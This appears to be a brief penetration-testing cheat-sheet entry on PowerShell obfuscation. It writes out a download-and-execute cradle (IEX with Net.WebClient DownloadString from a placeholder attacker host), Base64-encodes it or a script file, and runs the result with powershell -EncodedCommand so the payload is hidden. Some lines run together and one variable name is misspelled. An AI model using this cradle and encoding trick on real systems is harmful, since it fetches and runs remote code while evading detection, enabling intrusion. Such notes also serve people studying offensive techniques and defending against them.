OBFUSCATION
$command = 'IEX (New-Object Net.WebClient).DownloadString("http://<IP>/<SCRIPT>")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)$encodedCommad = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('<PATH TO SCRIPT>')) Powershell -EncodedCommand $encodedCommandInvoke-Encode
Last updated